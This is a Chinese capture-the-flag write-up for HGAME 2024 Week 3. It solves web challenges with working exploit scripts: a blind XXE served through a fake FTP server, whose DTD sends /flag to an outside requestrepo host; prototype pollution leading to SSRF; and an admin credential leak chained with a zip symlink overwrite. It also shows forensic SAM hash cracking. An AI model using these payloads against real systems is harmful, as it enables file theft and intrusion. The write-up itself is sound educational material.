

# HGAME 2024 Week3 缓存区

imageNameKey: cache

## 1 Web

### 1.1 VidarBox


本题给出的关键代码如下，很明显意图是 XXE 读文件，但是有一些绕过的点，其一就是绕过限制加载 xml，再者是需要绕过黑名单无回显 XXE。

```
@GetMapping({" /backdoor"})
@ResponseBody
public String hack(@RequestParam String fname) throws IOException, SAXException {
    DefaultResourceLoader resourceLoader = new DefaultResourceLoader();
    byte[] content = resourceLoader.getResource(this.workdir + fname +
this.suffix).getContentAsByteArray();
    if (content != null && this.safeCheck(content)) {
        XMLReader reader = XMLReaderFactory.createXMLReader();
        reader.parse(new InputSource(new ByteArrayInputStream(content)));
        return "success";
    } else {
        return "error";
    }
}


private boolean safeCheck(byte[] stream) throws IOException {
    String content = new String(stream);
    return !content.contains("DOCTYPE") && !content.contains("ENTITY") &&
        !content.contains("doctype") && !content.contains("entity");
}
```

#### 1.1.1 FTP 服务端回传恶意 XML

Spring framework 的 DefaultServerLoader 下的 getResource() 方法会将 ../ 解析到上层目录，直到 protocol:/，最终根据 URL 解析的协议类型返回 FileUrlResource 实例或 UrlResource 实例。



对于 `FileUrlResource` 类的 `getContentAsByteArray()` 套娃继承自 `Resource` 类。其中会利用 `UrlResource` 类的 `getInputStream()` 方法去加载文件。而最终 `file` 协议也会从本地文件、UNC 链接、FTP 链接三种维度去解析。



因此只需要伪造一个 FTP 服务端，将链接简单构造如下就能从远程读入任何文件加载。如下链接实际解析出的内容参照上图中的 `newurl`。

`http://106.14.57.14:32370/backdoor?fname=../../ti.lemonprefect.cn/lemonprefect.txt?x=`

### 1.1.2 无回显 XXE

由于黑名单制作了字符串检测并且没有处理编码，采用 UTF-16 就能简单绕过。而由于 Java 默认不支持 UTF-7，所以不能采用传统的 UTF-7。配合实体解析套娃发送请求就能带出 flag。

### 1.1.3 解题

搭建恶意的 FTP 服务器交互返回加载第一层 XML。

```
from pwn import *
```

```
control = listen(21)
data = listen(3255)
```

```
xml = """<?xml version="1.0" encoding="UTF-16"?>
<!DOCTYPE convert [ <!ENTITY % remote SYSTEM
"http://73360e0z.requestrepo.com/readflag.dtd"> %remote;%int;%send; ]>"""
content = b"\xfe\xff" + xml.encode("utf-16-be") # Java needs BOM!
```

```
# ftp cliché to prepare the read
controld = control.wait_for_connection()
controld.sendline(b"220 Welcome to the FTP server")
controld.sendlineafter(b"USER anonymous", b"331 Please specify the password")
controld.sendlineafter(b"PASS Java17.0.1@", b"230 Login successful. Welcome, anonymous user!")
controld.sendlineafter(b"TYPE I", b"200 Switching to Binary mode.")
controld.sendlineafter(b"EPSV ALL", b"229 Entering Extended Passive Mode (|||3255|).")
controld.sendlineafter(b"EPSV", b"229 Entering Extended Passive Mode (|||3255|).")
datad = data.wait_for_connection()
```


```
# send file
controld.sendlineafter(b"RETR lemonprefect.txt", f"150 Opening data connection for
lemonprefect.txt ({len(content)} bytes)".encode())
datad.send(content)
controld.sendline(b"226 Transfer complete.")

# ftp all done
controld.sendlineafter(b"QUIT", b"221 Goodbye. Thank you for using the FTP server.")
data.close()
control.close()
```

在上述脚本所用的 readflag.dtd 中返回如下的 xml。

```
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://73360e0z.requestrepo.com?
flag=%file;'>">
```

发送请求后可分别接受到请求 xml 和传回 flag 的请求。



The screenshot shows a REST client interface. On the left, a list of requests is displayed, with the selected request being a GET request to `/flag=hgame{06e46c608...}`. The right pane shows the details of this request.

Request Details	
Request Type	HTTP/1.1 GET
URL	<code>http://73360e0z.requestrepo.com/?flag=hgame{06e46c608601699d2bc09ed3df115b6c49047711}</code>
Sender	106.14.113.240:59036
Country	CN (IP Geolocation by DB-IP)
Date	15/02/2024, 03:43:11
Path	/
Query string	?flag=hgame{06e46c608601699d2bc09ed3df115b6c49047711}
Fragment	
Headers	
user-agent	Java/17.0.1
host	73360e0z.requestrepo.com
accept	text/html, image/gif, image/jpeg, *, q=.2, */*; q=.2
connection	keep-alive
Query Parameters	
flag	hgame{06e46c608601699d2bc09ed3df115b6c49047711}

## 1.2 WebVPN

本题给出了经典的 `update()` 函数，因此考虑原型链污染。

```
function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") !== -1) {
      continue;
    }
    if (typeof src[key] === "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}

app.post("/user/info", (req, res) => {
  ...
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});
```

### 1.2.1 原型链污染

涉及到的变量 `userStorage` 如下。

```
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};
```

通过 `/flag` 本地请求能获取 `flag`，但 `/proxy` 方法存在如下判断。

```
if (!userStorage[username].strategy[url.hostname]) {
  res.status(400);
  res.end("your url is not allowed.");
}
```

因此要污染到 `prototype` 加一个 `"127.0.0.1": True` 就能请求到 `flag`。

### 1.2.2 解题

使用如下脚本进行原型链污染，进而 SSRF 读取 `flag`。

```
import httpx as requests
from loguru import logger

session = requests.Client(base_url="http://139.196.183.57:30027")

session.post("/user/login", json={
  "username": "username",
  "password": "password"
})
session.post("/user/info", json={
  "constructor": {
    "prototype": {
      "127.0.0.1": True
    }
  }
})
response = session.get("/proxy", params={
  "url": "http://127.0.0.1:3000/flag"
})

logger.success(response.text)
```

```
5 session = requests.Client(base_url="http://139.196.183.57:30027")
6
7 session.post("/user/login", json={
8     "username": "username",
9     "password": "password"
10 })
11 session.post("/user/info", json={
12     "constructor": {
13         "prototype": {
14             "127.0.0.1": True
15         }
16     }
17 })
18
19 response = session.get("/proxv", params={
20     "url": "http://127.0.0.1:5555"
21 })
```

PROBLEMS PORTS OUTPUT TERMINAL DEBUG CONSOLE


(venv39) Lenovo@LAPTOP-3E49TU3MG: \hgame \$ python .\webvpnpc.py  
2024-02-18 20:54:46.060 | SUCCESS | \_\_main\_\_: <module>:23 - hgame{bb5167441ddc6c03676b01f34f57f8e62bcf7ef5}

### 1.2.3 后话：没有 WebStorm 的调试

使用如下指令能直接启动 Node 的调试。

```
node --inspect=5555 app.js
```

在 `chrome://inspect#devices` 中添加 5555 作为调试用的端口，然后点击出现的 inspect 打开 devtools。



## 1.3 Zero Link

### 1.3.1 调试环境搭建

题目环境在 Windows 下跑不顺一点，使用如下指令重新编译一份带 dl原因v 的 Docker 调试环境。

```
FROM golang:1.21.6-bullseye as base
ENV GOPROXY=https://goproxy.cn,direct
RUN go env -w CGO_ENABLED=1
RUN sed -i 's/deb.debian.org/mirrors.cqupt.edu.cn/g' /etc/apt/sources.list
RUN apt update
RUN apt install -y unzip

FROM base as builder
RUN wget -O /tmp/src.zip
https://hgame.vidar.club/assets/uploads/525f2759171566be5530a1e3f10b0855f4d13ec685d0c1614cde5f9ce5ed0045.zip
RUN unzip /tmp/src.zip -d /data/
WORKDIR /data/src/
RUN go build -gcflags "all=-N -l" ./cmd/main.go

FROM base
ENV DLV_PORT 5555
COPY --from=builder /data/src/main /app/main
```

```

COPY --from=builder /data/src/config.toml /app/config.toml
COPY --from=builder /data/src/fake_flag /fake_flag
COPY --from=builder /data/src/flag /flag
COPY --from=builder /data/src/secret /app/secret
RUN go install github.com/go-delve/delve/cmd/dlv@latest
WORKDIR /app/
ENTRYPOINT ["bash", "-c", "dlv --listen=:$DLV_PORT --headless=true --api-version=2 --accept-multiclient exec main"]

```

使用如下指令启动容器，用 Goland 附加上之后程序会开始运行。


```
docker run --rm -it -p 5555:5555 -p 8000:8000 --env "DLV_PORT=5555" zerolink:1.0
```

### 1.3.2 上传解压覆盖

ReadSecretFile() 方法下存在一个敏感操作，他会去读取 /app/secret 文件中所写的路径下的文件并返回。因此考虑用这个方法读取到 /flag。但由于 /app/secret 是写死的路径，因此需要想办法修改文件内容。



代码中存在 UploadFile() 方法用于上传任意 zip 压缩文件，但其在鉴权后。UnzipPackage() 方法解压上传文件关键代码如下，其会将上传的文件依次枚举并解压到 /tmp 下。



很明显使用了 -o 参数进行解压，因此可以替换文件。但是由于并没有 -: 参数，因此无法直接利用 ../ 进行目录穿越。因此考虑用 zip 携带软链接，将 /app/ 链接到 /tmp/lemon/ 中，进而达成修改 /app/secret 的目的。

因此只需要构造两个 zip，第一个创建软链接，第二个直接覆盖 /tmp/lemon/secret，然后将文件上传后按顺序解压就能达成目的。

### 1.3.3 未判空数据库数据泄露

由于 UploadFile() 仍然需要鉴权为 Admin，因此尝试寻找能够获取到 Admin 凭证的方法。程序中存在搜索用户的方法 GetUserInfo()，其使用了如下过滤。

```
15 func GetUserInfo(c *gin.Context) {
16     var req struct {
17         Username string `json:"username"`
18         Token      string `json:"token"`
19     }
20
21     if err := c.ShouldBindJSON(&req); err != nil {
22         return
23     }
24
25     if req.Username == "Admin" || req.Token == "0000" {
26         c.JSON(http.StatusForbidden, UserInfoResponse{
27             Code:    http.StatusForbidden,
28             Message: "Forbidden",
29             Data:    nil,
30         })
31         return
32     }
33 }
```

其中根据用户名或 token 查询的方法关键代码如下。

```
70 func GetUserByUsernameOrToken(username string, token string) (*User, error) {
71     var user User
72     query := db
73     if username != "" {
74         query = query.Where(&User{Username: username})
75     } else {
76         query = query.Where(&User{Token: token})
77     }
78     err := query.First(&user).Error
79     if err != nil {
80         log.Println("Cannot get user: " + err.Error())
81         return nil, err
82     }
83     return &user, nil
84 }
85 }
```

从数据库的初始化中可以看出 Admin 排在第一条。

```
35 users := []User{
36     {Username: "Admin", Token: "0000", Password: "Admin password is here", Memory: "Keep Best Memory!!!"},
37     {Username: "Taka", Token: "4132", Password: "newfi443543", Memory: "Love for pixel art."},
38     {Username: "Tom", Token: "8235", Password: "ofeni3525", Memory: "Family is my treasure"},
39     {Username: "Alice", Token: "1234", Password: "abcde12345", Memory: "Graduating from college"},
40     {Username: "Bob", Token: "5678", Password: "fghij67890", Memory: "Winning a championship in sports"},
41     {Username: "Charlie", Token: "9012", Password: "klmno12345", Memory: "Traveling to a foreign country for the first time"},
42     {Username: "David", Token: "3456", Password: "pqrst67890", Memory: "Performing on stage in a theater production"},
43     {Username: "Emily", Token: "7890", Password: "uvwxy12345", Memory: "Meeting my favorite celebrity"},
44     {Username: "Frank", Token: "2345", Password: "zabcd67890", Memory: "Overcoming a personal challenge"},
45 }
```

此时我们使用如下的载荷。

```
{"username":"","token":""}
```

执行到的分支语句如下，当然此时的 token 为空。

```
query = query.Where(&User{Token: token})
```

此时生成出来的语句会没有限定条件，进而取到第一条 Admin 的信息。

```
SELECT * FROM `users` WHERE `users`.`deleted_at` IS NULL ORDER BY `users`.`id` LIMIT 1
```

```
1 POST /api/user HTTP/1.1
2 Host: localhost:8000
3 Content-Length: 28
4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
5 Content-Type: application/json
6 Connection: close
7
8 {
9   "username": "",
10  "token": ""
11 }
12
13 HTTP/1.1 200 OK
14 Content-Type: application/json; charset=utf-8
15 Date: Mon, 19 Feb 2024 10:27:45 GMT
16 Content-Length: 251
17 Connection: close
18
19 {
20   "code": 200,
21   "message": "Ok",
22   "data": {
23     "ID": 1,
24     "CreatedAt": "2024-02-19T10:09:29.587828663Z",
25     "UpdatedAt": "2024-02-19T10:09:29.587828663Z",
26     "DeletedAt": null,
27     "Username": "Admin",
28     "Password": "Admin password is here",
29     "Token": "0000",
30     "Memory": "Keep Best Memory!!!"
31   }
32 }
```

从而获取到 Admin 的凭证，然后直接登录即可接续文件上传漏洞点。

### 1.3.4 解题

使用如下脚本完成上述两个步骤，先获取凭证再上传文件调用解压，最后读取 flag。

```
import zipfile
import os
import io
import httpx as requests
import json
from loguru import logger

session = requests.Client(base_url="http://139.196.183.57:31504")

# prepare system-link zip /tmp/lemon --> /app
link_zip_io = io.BytesIO()
zip = zipfile.ZipFile(link_zip_io, "w")
os.symlink("/app/", "./lemon")
zipInfo = zipfile.ZipInfo("lemon")
zipInfo.create_system = 3
zipInfo.external_attr |= 0xA0000000
zip.writestr(zipInfo, os.readlink("./lemon"))
zip.close()
link_zip = link_zip_io.getvalue()
logger.debug(link_zip)
link_zip_io.close()
os.unlink("./lemon")

# prepare secret file zip /tmp/lemon/secret to /app/secret
secret_zip_io = io.BytesIO()
zip = zipfile.ZipFile(secret_zip_io, "w")
zip.writestr("lemon/secret", "/flag")
zip.close()
secret_zip = secret_zip_io.getvalue()
logger.debug(secret_zip)
secret_zip_io.close()

# search empty to get all and leak the `First` as Admin
response = session.post("/api/user", json={
    "username": "",
    "token": ""
})
data = json.loads(response.text)
logger.debug(data)
username = data.get("data").get("Username")
password = data.get("data").get("Password")
logger.info(f"Username: {username}, Password: {password}")

response = session.post("/api/login", json={
    "username": username,
    "password": password
})
logger.debug(response.text)

# upload forged zips and unzip in order a, b
response = session.post("/api/upload", files={
    "file": ("a.zip", link_zip, "application/zip")
})
```



```

})
logger.debug(response.text)

response = session.post("/api/upload", files={
    "file": ("b.zip", secret_zip, "application/zip")
})

logger.debug(response.text)

response = session.get("/api/unzip")
logger.debug(response.text)

# read secret whose content is /flag now
response = session.get("/api/secret")
logger.debug(response.text)
logger.success(json.loads(response.text).get("data"))

```

```
requests_base = pyshark.FileCapture("./blindsqli.pcapng", display_filter="http.request",
tshark_path=TSHARK_BIN)
responses_base = pyshark.FileCapture("./blindsqli.pcapng", display_filter="http.response",
tshark_path=TSHARK_BIN)
responses = {}
```

```

for packet in responses_base:
    responses.update({
        packet.http.request_in: bytes.fromhex(packet.http.file_data.raw_value).decode()
    })

brute = 1
data = ""
low = 1
high = 128

for packet in requests_base:
    query = unquote(packet.http.request_uri_query_parameter)
    response = responses[packet.frame_info.number]
    matches = re.search(r"id=1-\(ascii\(\substr\(\(\(.?\)\),(\d+),1\)\)>(\d+)\)", query)
    expr, index, mid = matches.groups()
    logger.debug(f"frame {packet.frame_info.number}, {expr}")


    if int(index) > brute:
        # char in index `brute` finished, revert low and high mark
        data += chr(high)
        logger.success(f"data {data}")
        brute = int(index)
        low = 1
        high = 128

    if int(index) == 1 and int(index) < brute:
        # group finished, revert low and high mark, revert index `brute`
        logger.success(f"data {data}")
        data = ""
        brute = 1
        low = 1
        high = 128

    if "NO!" in response:
        high = int(mid)
    else:
        low = int(mid)

    logger.debug(f"mid {mid}, low {low}, high {high}")

```



```

12 requests_base = pyshark.FileCapture("./blindsq1.pcapng", display_filter="http.request", tshark_path=TSHARK_BIN)
13
14 responses_base = pyshark.FileCapture("./blindsq1.pcapng", display_filter="http.response", tshark_path=TSHARK_BIN)
15 responses = {}
16
17 for packet in responses_base:
18
19     2024-02-18 20:58:14.629 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271
20     2024-02-18 20:58:14.651 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271
21     2024-02-18 20:58:14.702 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-
22     2024-02-18 20:58:14.738 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7
23     2024-02-18 20:58:14.781 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7e
24     2024-02-18 20:58:14.816 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7ef
25     2024-02-18 20:58:14.875 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efa
26     2024-02-18 20:58:14.915 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efab
27     2024-02-18 20:58:14.959 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efaba
28     2024-02-18 20:58:15.020 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efabab
29     2024-02-18 20:58:15.076 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc
30     2024-02-18 20:58:15.137 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{
31     2024-02-18 20:58:15.277 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{g
32     2024-02-18 20:58:15.346 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{ga
33     2024-02-18 20:58:15.404 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{gal
34     2024-02-18 20:58:15.443 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{galf
35     2024-02-18 20:58:15.476 SUCCESS | __main__:<module>:37 - data }f2fa8295c83d-6cab-89e4-5271-7efababc{galf,
36
37 (venv39) Lenovo@LAPTOP-3E49TU3MG:\hgme $

```

2.2 简单的vmdk取证

先找到密码吧 flag 格式：hgame{nthash\_password}

FTK Imager 挂载 vmdk, SAMInside 加载 SAM 和 system 文件。

User	RID	LM-Password	NT-Password	LM-Hash	NT-Hash	Description
<input checked="" type="checkbox"/> Administrator	500	????????34	???????????????	AC804745EE68BEA1...	DAC3A2930FC196001F3AEAB959748448	管理计算机(域)
<input type="checkbox"/> Guest	501	<Disabled>	<Disabled>	0000000000000000...	00000000000000000000000000000000	供来宾访问计算机口
<input checked="" type="checkbox"/> HelpAssistant	1000	???????????????	???????????????	3D71E1687AE90FB7E...	2C5F92675B68AA855091EBB4108AE229	提供远程?
<input checked="" type="checkbox"/> SUPPORT_388945a0	1002	<Disabled>	???????????????	0000000000000000...	F9A0EE136422CE87371CF1666E958DAD	这是一个帮助和支口

得出 NTHASH, 利用 CrackStation 找出密码。

Hash	Type	Result
DAC3A2930FC196001F3AEAB959748448	NTLM	Admin1234

Color Codes: Green Exact match, Yellow: Partial match, Red: Not found.


hgame{DAC3A2930FC196001F3AEAB959748448\_Admin1234}

2.3 与ai聊天

跟他聊一聊吧, 从他嘴里翘出flag



Dr. Chen 能拿到 flag。



hgame{Is\_this\_a\_ai?}